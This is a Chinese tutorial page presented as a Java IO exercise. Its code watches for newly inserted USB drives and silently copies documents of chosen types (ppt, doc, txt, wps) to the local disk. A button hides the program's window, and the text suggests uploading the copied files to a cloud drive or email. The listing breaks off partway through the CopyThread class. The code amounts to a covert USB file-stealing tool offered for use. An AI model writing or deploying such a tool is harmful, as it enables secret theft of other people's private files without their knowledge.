java实现u盘指定内容的自动复制
2013-03-18 13:53:26 来源:WEB开发网核心提示: 程序的功能是,检查U盘,java实现u盘指定内容的自动复制,并将U盘的内容自动拷贝到系统的某个盘符中,分享给大家,触发新盘符文件的拷贝if (currentRoot[i].equals(sysRoot[j])) {isNewRoot = false;}}if (isNewRoot) {new CopyThread(c
程序的功能是,检查U盘,并将U盘的内容自动拷贝到系统的某个盘符中。分享给大家,就当作是练习io流的小练习。
这个小程序的实现方法如下:
1、程序运行后隔一断时间就检查系统的盘符有没有增加,通过File.listRoots()可获取系统存在的盘符。
2、如果盘符增加了,遍历这个新增加的盘符,用字节流拷贝文件到指定的路径。
需要注意的是,由于U盘的内容可能很大,所以拷贝的时候最好指定要拷贝的文件类型,如ppt,doc,txt等等。
下面是这个小程序的相关代码:
在CopyThread类中可以指定要复制的文件类型,大家在fileTypes数组中加入相应的文件后缀名即可。如果要复制所有文件,将其设为null就行了。在CopyFileToSysRoot类中可以指定存储的路径,当然,如果愿意的话,你可以将文件上传到网盘,邮箱等等
一、USBMain类,程序入口:
import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JButton; import javax.swing.JFrame; public class USBMain { public static void main(String[] args) { USBMain u = new USBMain(); u.launchFrame(); //开启盘符检查线程 new CheckRootThread().start(); } // 界面 private void launchFrame() { final JFrame frame = new JFrame(); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setLocation(450, 250); JButton hide = new JButton("点击隐藏窗口"); // 点击按钮后隐藏窗口事件监听 hide.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { frame.setVisible(false); } }); frame.add(hide); frame.pack(); frame.setVisible(true); } }
二、CheckRootThread类,此类用于检查新盘符的出现,并触发新盘符文件的拷贝。
import java.io.File; //此类用于检查新盘符的出现,并触发新盘符文件的拷贝 public class CheckRootThread extends Thread { // 获取系统盘符 private File[] sysRoot = File.listRoots(); public void run() { File[] currentRoot = null; while (true) { // 当前的系统盘符 currentRoot = File.listRoots(); if (currentRoot.length > sysRoot.length) { for (int i = currentRoot.length - 1; i >= 0; i--) { boolean isNewRoot = true; for (int j = sysRoot.length - 1; j >= 0; j--) { // 当两者盘符不同时,触发新盘符文件的拷贝 if (currentRoot[i].equals(sysRoot[j])) { isNewRoot = false; } } if (isNewRoot) { new CopyThread(currentRoot[i]).start(); } } } sysRoot = File.listRoots(); //每5秒时间检查一次系统盘符 try { Thread.sleep(5000); } catch (InterruptedException e) { e.printStackTrace(); } } } }
三、CopyThread类,用于文件遍历并选择指定文件格式进行复制:
import java.io.File;
//该类用于对新盘符文件的复制
public class CopyThread extends Thread {
// 设置要复制的文件类型,如果要复制所有格式的文件,将fileTypes设为null即可
private static String[] fileTypes = {"ppt","doc","txt","wps"};
// private static String[] fileTypes = null;
File file = null;
public CopyThread(File file) {
更多精彩
赞助商链接